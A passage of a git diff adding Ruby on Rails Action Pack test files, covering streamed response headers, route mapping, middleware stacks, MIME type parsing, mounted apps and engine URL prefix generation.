+      def test_cache_control_is_set
+        @response.stream.write "omg"
+        assert_equal "no-cache", @response.headers["Cache-Control"]
+      end
+
+      def test_content_length_is_removed
+        @response.headers["Content-Length"] = "1234"
+        @response.stream.write "omg"
+        assert_nil @response.headers["Content-Length"]
+      end
+
+      def test_headers_cannot_be_written_after_webserver_reads
+        @response.stream.write "omg"
+        latch = Concurrent::CountDownLatch.new
+
+        t = Thread.new {
+          @response.each do
+            latch.count_down
+          end
+        }
+
+        latch.wait
+        assert @response.headers.frozen?
+        e = assert_raises(ActionDispatch::IllegalStateError) do
+          @response.headers["Content-Length"] = "zomg"
+        end
+
+        assert_equal "header already sent", e.message
+        @response.stream.close
+        t.join
+      end
+
+      def test_headers_cannot_be_written_after_close
+        @response.stream.close
+        # we can add data until it's actually written, which happens on `each`
+        @response.each { |x| }
+
+        e = assert_raises(ActionDispatch::IllegalStateError) do
+          @response.headers["Content-Length"] = "zomg"
+        end
+        assert_equal "header already sent", e.message
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/mapper_test.rb b/actionpack/test/dispatch/mapper_test.rb
new file mode 100644
index 0000000000..969a08efed
--- /dev/null
+++ b/actionpack/test/dispatch/mapper_test.rb
@@ -0,0 +1,210 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Routing
+    class MapperTest < ActiveSupport::TestCase
+      class FakeSet < ActionDispatch::Routing::RouteSet
+        def resources_path_names
+          {}
+        end
+
+        def request_class
+          ActionDispatch::Request
+        end
+
+        def dispatcher_class
+          RouteSet::Dispatcher
+        end
+
+        def defaults
+          routes.map(&:defaults)
+        end
+
+        def conditions
+          routes.map(&:constraints)
+        end
+
+        def requirements
+          routes.map(&:path).map(&:requirements)
+        end
+
+        def asts
+          routes.map(&:path).map(&:spec)
+        end
+      end
+
+      def test_initialize
+        Mapper.new FakeSet.new
+      end
+
+      def test_scope_raises_on_anchor
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        assert_raises(ArgumentError) do
+          mapper.scope(anchor: false) do
+          end
+        end
+      end
+
+      def test_blows_up_without_via
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        assert_raises(ArgumentError) do
+          mapper.match "/", to: "posts#index", as: :main
+        end
+      end
+
+      def test_unscoped_formatted
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/foo", to: "posts#index", as: :main, format: true
+        assert_equal({ controller: "posts", action: "index" },
+                     fakeset.defaults.first)
+        assert_equal "/foo.:format", fakeset.asts.first.to_s
+      end
+
+      def test_scoped_formatted
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.scope(format: true) do
+          mapper.get "/foo", to: "posts#index", as: :main
+        end
+        assert_equal({ controller: "posts", action: "index" },
+                     fakeset.defaults.first)
+        assert_equal "/foo.:format", fakeset.asts.first.to_s
+      end
+
+      def test_random_keys
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.scope(omg: :awesome) do
+          mapper.get "/", to: "posts#index", as: :main
+        end
+        assert_equal({ omg: :awesome, controller: "posts", action: "index" },
+                     fakeset.defaults.first)
+        assert_equal("GET", fakeset.routes.first.verb)
+      end
+
+      def test_mapping_requirements
+        options = {}
+        scope = Mapper::Scope.new({})
+        ast = Journey::Parser.parse "/store/:name(*rest)"
+        m = Mapper::Mapping.build(scope, FakeSet.new, ast, "foo", "bar", nil, [:get], nil, {}, true, options)
+        assert_equal(/.+?/, m.requirements[:rest])
+      end
+
+      def test_via_scope
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.scope(via: :put) do
+          mapper.match "/", to: "posts#index", as: :main
+        end
+        assert_equal("PUT", fakeset.routes.first.verb)
+      end
+
+      def test_to_scope
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.scope(to: "posts#index") do
+          mapper.get :all
+          mapper.post :most
+        end
+
+        assert_equal "posts#index", fakeset.routes.to_a[0].defaults[:to]
+        assert_equal "posts#index", fakeset.routes.to_a[1].defaults[:to]
+      end
+
+      def test_map_slash
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/", to: "posts#index", as: :main
+        assert_equal "/", fakeset.asts.first.to_s
+      end
+
+      def test_map_more_slashes
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+
+        # FIXME: is this a desired behavior?
+        mapper.get "/one/two/", to: "posts#index", as: :main
+        assert_equal "/one/two(.:format)", fakeset.asts.first.to_s
+      end
+
+      def test_map_wildcard
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/*path", to: "pages#show"
+        assert_equal "/*path(.:format)", fakeset.asts.first.to_s
+        assert_equal(/.+?/, fakeset.requirements.first[:path])
+      end
+
+      def test_map_wildcard_with_other_element
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/*path/foo/:bar", to: "pages#show"
+        assert_equal "/*path/foo/:bar(.:format)", fakeset.asts.first.to_s
+        assert_equal(/.+?/, fakeset.requirements.first[:path])
+      end
+
+      def test_map_wildcard_with_multiple_wildcard
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/*foo/*bar", to: "pages#show"
+        assert_equal "/*foo/*bar(.:format)", fakeset.asts.first.to_s
+        assert_equal(/.+?/, fakeset.requirements.first[:foo])
+        assert_equal(/.+?/, fakeset.requirements.first[:bar])
+      end
+
+      def test_map_wildcard_with_format_false
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/*path", to: "pages#show", format: false
+        assert_equal "/*path", fakeset.asts.first.to_s
+        assert_nil fakeset.requirements.first[:path]
+      end
+
+      def test_map_wildcard_with_format_true
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        mapper.get "/*path", to: "pages#show", format: true
+        assert_equal "/*path.:format", fakeset.asts.first.to_s
+      end
+
+      def test_raising_error_when_path_is_not_passed
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        app = lambda { |env| [200, {}, [""]] }
+        assert_raises ArgumentError do
+          mapper.mount app
+        end
+      end
+
+      def test_raising_error_when_rack_app_is_not_passed
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+        assert_raises ArgumentError do
+          mapper.mount 10, as: "exciting"
+        end
+
+        assert_raises ArgumentError do
+          mapper.mount as: "exciting"
+        end
+      end
+
+      def test_scope_does_not_destructively_mutate_default_options
+        fakeset = FakeSet.new
+        mapper = Mapper.new fakeset
+
+        frozen = { foo: :bar }.freeze
+
+        assert_nothing_raised do
+          mapper.scope(defaults: frozen) do
+            # pass
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/middleware_stack_test.rb b/actionpack/test/dispatch/middleware_stack_test.rb
new file mode 100644
index 0000000000..e9f7ad41dd
--- /dev/null
+++ b/actionpack/test/dispatch/middleware_stack_test.rb
@@ -0,0 +1,115 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MiddlewareStackTest < ActiveSupport::TestCase
+  class FooMiddleware; end
+  class BarMiddleware; end
+  class BazMiddleware; end
+  class HiyaMiddleware; end
+  class BlockMiddleware
+    attr_reader :block
+    def initialize(&block)
+      @block = block
+    end
+  end
+
+  def setup
+    @stack = ActionDispatch::MiddlewareStack.new
+    @stack.use FooMiddleware
+    @stack.use BarMiddleware
+  end
+
+  def test_delete_works
+    assert_difference "@stack.size", -1 do
+      @stack.delete FooMiddleware
+    end
+  end
+
+  test "use should push middleware as class onto the stack" do
+    assert_difference "@stack.size" do
+      @stack.use BazMiddleware
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+  end
+
+  test "use should push middleware class with arguments onto the stack" do
+    assert_difference "@stack.size" do
+      @stack.use BazMiddleware, true, foo: "bar"
+    end
+    assert_equal BazMiddleware, @stack.last.klass
+    assert_equal([true, { foo: "bar" }], @stack.last.args)
+  end
+
+  test "use should push middleware class with block arguments onto the stack" do
+    proc = Proc.new {}
+    assert_difference "@stack.size" do
+      @stack.use(BlockMiddleware, &proc)
+    end
+    assert_equal BlockMiddleware, @stack.last.klass
+    assert_equal proc, @stack.last.block
+  end
+
+  test "insert inserts middleware at the integer index" do
+    @stack.insert(1, BazMiddleware)
+    assert_equal BazMiddleware, @stack[1].klass
+  end
+
+  test "insert_after inserts middleware after the integer index" do
+    @stack.insert_after(1, BazMiddleware)
+    assert_equal BazMiddleware, @stack[2].klass
+  end
+
+  test "insert_before inserts middleware before another middleware class" do
+    @stack.insert_before(BarMiddleware, BazMiddleware)
+    assert_equal BazMiddleware, @stack[1].klass
+  end
+
+  test "insert_after inserts middleware after another middleware class" do
+    @stack.insert_after(BarMiddleware, BazMiddleware)
+    assert_equal BazMiddleware, @stack[2].klass
+  end
+
+  test "swaps one middleware out for another" do
+    assert_equal FooMiddleware, @stack[0].klass
+    @stack.swap(FooMiddleware, BazMiddleware)
+    assert_equal BazMiddleware, @stack[0].klass
+  end
+
+  test "swaps one middleware out for same middleware class" do
+    assert_equal FooMiddleware, @stack[0].klass
+    @stack.swap(FooMiddleware, FooMiddleware, Proc.new { |env| [500, {}, ["error!"]] })
+    assert_equal FooMiddleware, @stack[0].klass
+  end
+
+  test "unshift adds a new middleware at the beginning of the stack" do
+    @stack.unshift MiddlewareStackTest::BazMiddleware
+    assert_equal BazMiddleware, @stack.first.klass
+  end
+
+  test "raise an error on invalid index" do
+    assert_raise RuntimeError do
+      @stack.insert(HiyaMiddleware, BazMiddleware)
+    end
+
+    assert_raise RuntimeError do
+      @stack.insert_after(HiyaMiddleware, BazMiddleware)
+    end
+  end
+
+  test "can check if Middleware are equal - Class" do
+    assert_equal @stack.last, BarMiddleware
+  end
+
+  test "includes a class" do
+    assert_equal true, @stack.include?(BarMiddleware)
+  end
+
+  test "can check if Middleware are equal - Middleware" do
+    assert_equal @stack.last, @stack.last
+  end
+
+  test "includes a middleware" do
+    assert_equal true, @stack.include?(ActionDispatch::MiddlewareStack::Middleware.new(BarMiddleware, nil, nil))
+  end
+end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
new file mode 100644
index 0000000000..90e95e972d
--- /dev/null
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -0,0 +1,187 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class MimeTypeTest < ActiveSupport::TestCase
+  test "parse single" do
+    Mime::LOOKUP.each_key do |mime_type|
+      unless mime_type == "image/*"
+        assert_equal [Mime::Type.lookup(mime_type)], Mime::Type.parse(mime_type)
+      end
+    end
+  end
+
+  test "unregister" do
+    assert_nil Mime[:mobile]
+
+    begin
+      mime = Mime::Type.register("text/x-mobile", :mobile)
+      assert_equal mime, Mime[:mobile]
+      assert_equal mime, Mime::Type.lookup("text/x-mobile")
+      assert_equal mime, Mime::Type.lookup_by_extension(:mobile)
+
+      Mime::Type.unregister(:mobile)
+      assert_nil Mime[:mobile], "Mime[:mobile] should be nil after unregistering :mobile"
+      assert_nil Mime::Type.lookup_by_extension(:mobile), "Should be missing MIME extension lookup for :mobile"
+    ensure
+      Mime::Type.unregister :mobile
+    end
+  end
+
+  test "parse text with trailing star at the beginning" do
+    accept = "text/*, text/html, application/json, multipart/form-data"
+    expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml], Mime[:json], Mime[:multipart_form]]
+    parsed = Mime::Type.parse(accept)
+    assert_equal expect, parsed
+  end
+
+  test "parse text with trailing star in the end" do
+    accept = "text/html, application/json, multipart/form-data, text/*"
+    expect = [Mime[:html], Mime[:json], Mime[:multipart_form], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml]]
+    parsed = Mime::Type.parse(accept)
+    assert_equal expect, parsed
+  end
+
+  test "parse text with trailing star" do
+    accept = "text/*"
+    expect = [Mime[:html], Mime[:text], Mime[:js], Mime[:css], Mime[:ics], Mime[:csv], Mime[:vcf], Mime[:xml], Mime[:yaml], Mime[:json]]
+    parsed = Mime::Type.parse(accept)
+    assert_equal expect.map(&:to_s).sort!, parsed.map(&:to_s).sort!
+  end
+
+  test "parse application with trailing star" do
+    accept = "application/*"
+    expect = [Mime[:html], Mime[:js], Mime[:xml], Mime[:rss], Mime[:atom], Mime[:yaml], Mime[:url_encoded_form], Mime[:json], Mime[:pdf], Mime[:zip], Mime[:gzip]]
+    parsed = Mime::Type.parse(accept)
+    assert_equal expect.map(&:to_s).sort!, parsed.map(&:to_s).sort!
+  end
+
+  test "parse without q" do
+    accept = "text/xml,application/xhtml+xml,text/yaml,application/xml,text/html,image/png,text/plain,application/pdf,*/*"
+    expect = [Mime[:html], Mime[:xml], Mime[:yaml], Mime[:png], Mime[:text], Mime[:pdf], "*/*"]
+    assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s)
+  end
+
+  test "parse with q" do
+    accept = "text/xml,application/xhtml+xml,text/yaml; q=0.3,application/xml,text/html; q=0.8,image/png,text/plain; q=0.5,application/pdf,*/*; q=0.2"
+    expect = [Mime[:html], Mime[:xml], Mime[:png], Mime[:pdf], Mime[:text], Mime[:yaml], "*/*"]
+    assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s)
+  end
+
+  test "parse single media range with q" do
+    accept = "text/html;q=0.9"
+    expect = [Mime[:html]]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
+  test "parse arbitrary media type parameters" do
+    accept = 'multipart/form-data; boundary="simple boundary"'
+    expect = [Mime[:multipart_form]]
+    assert_equal expect, Mime::Type.parse(accept)
+  end
+
+  # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP)
+  test "parse broken acceptlines" do
+    accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
+    expect = [Mime[:html], Mime[:xml], "image/*", Mime[:text], "*/*"]
+    assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s)
+  end
+
+  # Accept header send with user HTTP_USER_AGENT: Mozilla/4.0
+  #  (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)
+  test "parse other broken acceptlines" do
+    accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,  , pronto/1.00.00, sslvpn/1.00.00.00, */*"
+    expect = ["image/gif", "image/x-xbitmap", "image/jpeg", "image/pjpeg", "application/x-shockwave-flash", "application/vnd.ms-excel", "application/vnd.ms-powerpoint", "application/msword", "pronto/1.00.00", "sslvpn/1.00.00.00", "*/*"]
+    assert_equal expect.map(&:to_s), Mime::Type.parse(accept).map(&:to_s)
+  end
+
+  test "custom type" do
+    begin
+      type = Mime::Type.register("image/foo", :foo)
+      assert_equal type, Mime[:foo]
+    ensure
+      Mime::Type.unregister(:foo)
+    end
+  end
+
+  test "custom type with type aliases" do
+    begin
+      Mime::Type.register "text/foobar", :foobar, ["text/foo", "text/bar"]
+      %w[text/foobar text/foo text/bar].each do |type|
+        assert_equal Mime[:foobar], type
+      end
+    ensure
+      Mime::Type.unregister(:foobar)
+    end
+  end
+
+  test "register callbacks" do
+    begin
+      registered_mimes = []
+      Mime::Type.register_callback do |mime|
+        registered_mimes << mime
+      end
+
+      mime = Mime::Type.register("text/foo", :foo)
+      assert_equal [mime], registered_mimes
+    ensure
+      Mime::Type.unregister(:foo)
+    end
+  end
+
+  test "custom type with extension aliases" do
+    begin
+      Mime::Type.register "text/foobar", :foobar, [], [:foo, "bar"]
+      %w[foobar foo bar].each do |extension|
+        assert_equal Mime[:foobar], Mime::EXTENSION_LOOKUP[extension]
+      end
+    ensure
+      Mime::Type.unregister(:foobar)
+    end
+  end
+
+  test "register alias" do
+    begin
+      Mime::Type.register_alias "application/xhtml+xml", :foobar
+      assert_equal Mime[:html], Mime::EXTENSION_LOOKUP["foobar"]
+    ensure
+      Mime::Type.unregister(:foobar)
+    end
+  end
+
+  test "type should be equal to symbol" do
+    assert_equal Mime[:html], "application/xhtml+xml"
+    assert_equal Mime[:html], :html
+  end
+
+  test "type convenience methods" do
+    types = Mime::SET.symbols.uniq - [:iphone]
+
+    types.each do |type|
+      mime = Mime[type]
+      assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?"
+      assert_equal type, mime.symbol, "#{mime.inspect} is not #{type}?"
+      invalid_types = types - [type]
+      invalid_types.delete(:html)
+      invalid_types.each { |other_type|
+        assert_not_equal mime.symbol, other_type, "#{mime.inspect} is #{other_type}?"
+      }
+    end
+  end
+
+  test "references gives preference to symbols before strings" do
+    assert_equal :html, Mime[:html].ref
+    another = Mime::Type.lookup("foo/bar")
+    assert_nil another.to_sym
+    assert_equal "foo/bar", another.ref
+  end
+
+  test "regexp matcher" do
+    assert Mime[:js] =~ "text/javascript"
+    assert Mime[:js] =~ "application/javascript"
+    assert Mime[:js] !~ "text/html"
+    assert !(Mime[:js] !~ "text/javascript")
+    assert !(Mime[:js] !~ "application/javascript")
+    assert Mime[:html] =~ "application/xhtml+xml"
+  end
+end
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
new file mode 100644
index 0000000000..f6cf653980
--- /dev/null
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rails/engine"
+
+class TestRoutingMount < ActionDispatch::IntegrationTest
+  Router = ActionDispatch::Routing::RouteSet.new
+
+  class AppWithRoutes < Rails::Engine
+    def self.routes
+      @routes ||= ActionDispatch::Routing::RouteSet.new
+    end
+  end
+
+  # Test for mounting apps that respond to routes, but aren't Rails-like apps.
+  class SinatraLikeApp
+    def self.routes; Object.new; end
+
+    def self.call(env)
+      [200, { "Content-Type" => "text/html" }, ["OK"]]
+    end
+  end
+
+  Router.draw do
+    SprocketsApp = lambda { |env|
+      [200, { "Content-Type" => "text/html" }, ["#{env["SCRIPT_NAME"]} -- #{env["PATH_INFO"]}"]]
+    }
+
+    mount SprocketsApp, at: "/sprockets"
+    mount SprocketsApp => "/shorthand"
+
+    mount SinatraLikeApp, at: "/fakeengine", as: :fake
+    mount SinatraLikeApp, at: "/getfake", via: :get
+
+    scope "/its_a" do
+      mount SprocketsApp, at: "/sprocket"
+    end
+
+    resources :users do
+      mount AppWithRoutes, at: "/fakeengine", as: :fake_mounted_at_resource
+    end
+
+    mount SprocketsApp, at: "/", via: :get
+  end
+
+  APP = RoutedRackApp.new Router
+  def app
+    APP
+  end
+
+  def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
+    assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource),
+          "A mounted helper should be defined with a parent's prefix"
+    assert Router.named_routes.key?(:user_fake_mounted_at_resource),
+          "A named route should be defined with a parent's prefix"
+  end
+
+  def test_mounting_at_root_path
+    get "/omg"
+    assert_equal " -- /omg", response.body
+  end
+
+  def test_mounting_sets_script_name
+    get "/sprockets/omg"
+    assert_equal "/sprockets -- /omg", response.body
+  end
+
+  def test_mounting_works_with_nested_script_name
+    get "/foo/sprockets/omg", headers: { "SCRIPT_NAME" => "/foo", "PATH_INFO" => "/sprockets/omg" }
+    assert_equal "/foo/sprockets -- /omg", response.body
+  end
+
+  def test_mounting_works_with_scope
+    get "/its_a/sprocket/omg"
+    assert_equal "/its_a/sprocket -- /omg", response.body
+  end
+
+  def test_mounting_with_shorthand
+    get "/shorthand/omg"
+    assert_equal "/shorthand -- /omg", response.body
+  end
+
+  def test_mounting_works_with_via
+    get "/getfake"
+    assert_equal "OK", response.body
+
+    post "/getfake"
+    assert_response :not_found
+  end
+
+  def test_with_fake_engine_does_not_call_invalid_method
+    get "/fakeengine"
+    assert_equal "OK", response.body
+  end
+end
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
new file mode 100644
index 0000000000..85ea04356a
--- /dev/null
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -0,0 +1,463 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rack/test"
+require "rails/engine"
+
+module TestGenerationPrefix
+  class Post
+    extend ActiveModel::Naming
+
+    def to_param
+      "1"
+    end
+
+    def self.model_name
+      klass = "Post".dup
+      def klass.name; self end
+
+      ActiveModel::Name.new(klass)
+    end
+
+    def to_model; self; end
+    def persisted?; true; end
+  end
+
+  class WithMountedEngine < ActionDispatch::IntegrationTest
+    class BlogEngine < Rails::Engine
+      routes.draw do
+        get "/posts/:id", to: "inside_engine_generating#show", as: :post
+        get "/posts", to: "inside_engine_generating#index", as: :posts
+        get "/url_to_application", to: "inside_engine_generating#url_to_application"
+        get "/polymorphic_path_for_engine", to: "inside_engine_generating#polymorphic_path_for_engine"
+        get "/conflicting_url", to: "inside_engine_generating#conflicting"
+        get "/foo", to: "never#invoked", as: :named_helper_that_should_be_invoked_only_in_respond_to_test
+
+        get "/relative_path_root",       to: redirect("")
+        get "/relative_path_redirect",   to: redirect("foo")
+        get "/relative_option_root",     to: redirect(path: "")
+        get "/relative_option_redirect", to: redirect(path: "foo")
+        get "/relative_custom_root",     to: redirect { |params, request| "" }
+        get "/relative_custom_redirect", to: redirect { |params, request| "foo" }
+
+        get "/absolute_path_root",       to: redirect("/")
+        get "/absolute_path_redirect",   to: redirect("/foo")
+        get "/absolute_option_root",     to: redirect(path: "/")
+        get "/absolute_option_redirect", to: redirect(path: "/foo")
+        get "/absolute_custom_root",     to: redirect { |params, request| "/" }
+        get "/absolute_custom_redirect", to: redirect { |params, request| "/foo" }
+      end
+    end
+
+    class RailsApplication < Rails::Engine
+      routes.draw do
+        scope "/:omg", omg: "awesome" do
+          mount BlogEngine => "/blog", :as => "blog_engine"
+        end
+        get "/posts/:id", to: "outside_engine_generating#post", as: :post
+        get "/generate", to: "outside_engine_generating#index"
+        get "/polymorphic_path_for_app", to: "outside_engine_generating#polymorphic_path_for_app"
+        get "/polymorphic_path_for_engine", to: "outside_engine_generating#polymorphic_path_for_engine"
+        get "/polymorphic_with_url_for", to: "outside_engine_generating#polymorphic_with_url_for"
+        get "/conflicting_url", to: "outside_engine_generating#conflicting"
+        get "/ivar_usage", to: "outside_engine_generating#ivar_usage"
+        root to: "outside_engine_generating#index"
+      end
+    end
+
+    # force draw
+    RailsApplication.routes.define_mounted_helper(:main_app)
+
+    class ::InsideEngineGeneratingController < ActionController::Base
+      include BlogEngine.routes.url_helpers
+      include RailsApplication.routes.mounted_helpers
+
+      def index
+        render plain: posts_path
+      end
+
+      def show
+        render plain: post_path(id: params[:id])
+      end
+
+      def url_to_application
+        path = main_app.url_for(controller: "outside_engine_generating",
+                                action: "index",
+                                only_path: true)
+        render plain: path
+      end
+
+      def polymorphic_path_for_engine
+        render plain: polymorphic_path(Post.new)
+      end
+
+      def conflicting
+        render plain: "engine"
+      end
+    end
+
+    class ::OutsideEngineGeneratingController < ActionController::Base
+      include BlogEngine.routes.mounted_helpers
+      include RailsApplication.routes.url_helpers
+
+      def index
+        render plain: blog_engine.post_path(id: 1)
+      end
+
+      def polymorphic_path_for_engine
+        render plain: blog_engine.polymorphic_path(Post.new)
+      end
+
+      def polymorphic_path_for_app
+        render plain: polymorphic_path(Post.new)
+      end
+
+      def polymorphic_with_url_for
+        render plain: blog_engine.url_for(Post.new)
+      end
+
+      def conflicting
+        render plain: "application"
+      end
+
+      def ivar_usage
+        @blog_engine = "Not the engine route helper"
+        render plain: blog_engine.post_path(id: 1)
+      end
+    end
+
+    class EngineObject
+      include ActionDispatch::Routing::UrlFor
+      include BlogEngine.routes.url_helpers
+    end
+
+    class AppObject
+      include ActionDispatch::Routing::UrlFor
+      include RailsApplication.routes.url_helpers
+    end
+
+    def app
+      RailsApplication.instance
+    end
+
+    attr_reader :engine_object, :app_object
+
+    def setup
+      RailsApplication.routes.default_url_options = {}
+      @engine_object = EngineObject.new
+      @app_object = AppObject.new
+    end
+
+    include BlogEngine.routes.mounted_helpers
+
+    # Inside Engine
+    test "[ENGINE] generating engine's url use SCRIPT_NAME from request" do
+      get "/pure-awesomeness/blog/posts/1"
+      assert_equal "/pure-awesomeness/blog/posts/1", response.body
+    end
+
+    test "[ENGINE] generating application's url never uses SCRIPT_NAME from request" do
+      get "/pure-awesomeness/blog/url_to_application"
+      assert_equal "/generate", response.body
+    end
+
+    test "[ENGINE] generating engine's url with polymorphic path" do
+      get "/pure-awesomeness/blog/polymorphic_path_for_engine"
+      assert_equal "/pure-awesomeness/blog/posts/1", response.body
+    end
+
+    test "[ENGINE] url_helpers from engine have higher priority than application's url_helpers" do
+      get "/awesome/blog/conflicting_url"
+      assert_equal "engine", response.body
+    end
+
+    test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_path_root"
+      verify_redirect "http://www.example.com/awesome/blog"
+    end
+
+    test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_path_redirect"
+      verify_redirect "http://www.example.com/awesome/blog/foo"
+    end
+
+    test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_option_root"
+      verify_redirect "http://www.example.com/awesome/blog"
+    end
+
+    test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_option_redirect"
+      verify_redirect "http://www.example.com/awesome/blog/foo"
+    end
+
+    test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_custom_root"
+      verify_redirect "http://www.example.com/awesome/blog"
+    end
+
+    test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_custom_redirect"
+      verify_redirect "http://www.example.com/awesome/blog/foo"
+    end
+
+    test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_path_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_path_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_option_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_option_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_custom_root"
+      verify_redirect "http://www.example.com/"
+    end
+
+    test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_custom_redirect"
+      verify_redirect "http://www.example.com/foo"
+    end
+
+    # Inside Application
+    test "[APP] generating engine's route includes prefix" do
+      get "/generate"
+      assert_equal "/awesome/blog/posts/1", response.body
+    end
+
+    test "[APP] generating engine's route includes default_url_options[:script_name]" do
+      RailsApplication.routes.default_url_options = { script_name: "/something" }
+      get "/generate"
+      assert_equal "/something/awesome/blog/posts/1", response.body
+    end
+
+    test "[APP] generating engine's url with polymorphic path" do
+      get "/polymorphic_path_for_engine"
+      assert_equal "/awesome/blog/posts/1", response.body
+    end
+
+    test "polymorphic_path_for_app" do
+      get "/polymorphic_path_for_app"
+      assert_equal "/posts/1", response.body
+    end
+
+    test "[APP] generating engine's url with url_for(@post)" do
+      get "/polymorphic_with_url_for"
+      assert_equal "http://www.example.com/awesome/blog/posts/1", response.body
+    end
+
+    test "[APP] instance variable with same name as engine" do
+      get "/ivar_usage"
+      assert_equal "/awesome/blog/posts/1", response.body
+    end
+
+    # Inside any Object
+    test "[OBJECT] proxy route should override respond_to?() as expected" do
+      assert_respond_to blog_engine, :named_helper_that_should_be_invoked_only_in_respond_to_test_path
+    end
+
+    test "[OBJECT] generating engine's route includes prefix" do
+      assert_equal "/awesome/blog/posts/1", engine_object.post_path(id: 1)
+    end
+
+    test "[OBJECT] generating engine's route includes dynamic prefix" do
+      assert_equal "/pure-awesomeness/blog/posts/3", engine_object.post_path(id: 3, omg: "pure-awesomeness")
+    end
+
+    test "[OBJECT] generating engine's route includes default_url_options[:script_name]" do
+      RailsApplication.routes.default_url_options = { script_name: "/something" }
+      assert_equal "/something/pure-awesomeness/blog/posts/3", engine_object.post_path(id: 3, omg: "pure-awesomeness")
+    end
+
+    test "[OBJECT] generating application's route" do
+      assert_equal "/", app_object.root_path
+    end
+
+    test "[OBJECT] generating application's route includes default_url_options[:script_name]" do
+      RailsApplication.routes.default_url_options = { script_name: "/something" }
+      assert_equal "/something/", app_object.root_path
+    end
+
+    test "[OBJECT] generating application's route includes default_url_options[:trailing_slash]" do
+      RailsApplication.routes.default_url_options[:trailing_slash] = true
+      assert_equal "/awesome/blog/posts", engine_object.posts_path
+    end
+
+    test "[OBJECT] generating engine's route with url_for" do
+      path = engine_object.url_for(controller: "inside_engine_generating",
+                                   action: "show",
+                                   only_path: true,
+                                   omg: "omg",
+                                   id: 1)
+      assert_equal "/omg/blog/posts/1", path
+    end
+
+    test "[OBJECT] generating engine's route with named helpers" do
+      path = engine_object.posts_path
+      assert_equal "/awesome/blog/posts", path
+
+      path = engine_object.posts_url(host: "example.com")
+      assert_equal "http://example.com/awesome/blog/posts", path
+    end
+
+    test "[OBJECT] generating engine's route with polymorphic_url" do
+      path = engine_object.polymorphic_path(Post.new)
+      assert_equal "/awesome/blog/posts/1", path
+
+      path = engine_object.polymorphic_url(Post.new, host: "www.example.com")
+      assert_equal "http://www.example.com/awesome/blog/posts/1", path
+    end
+
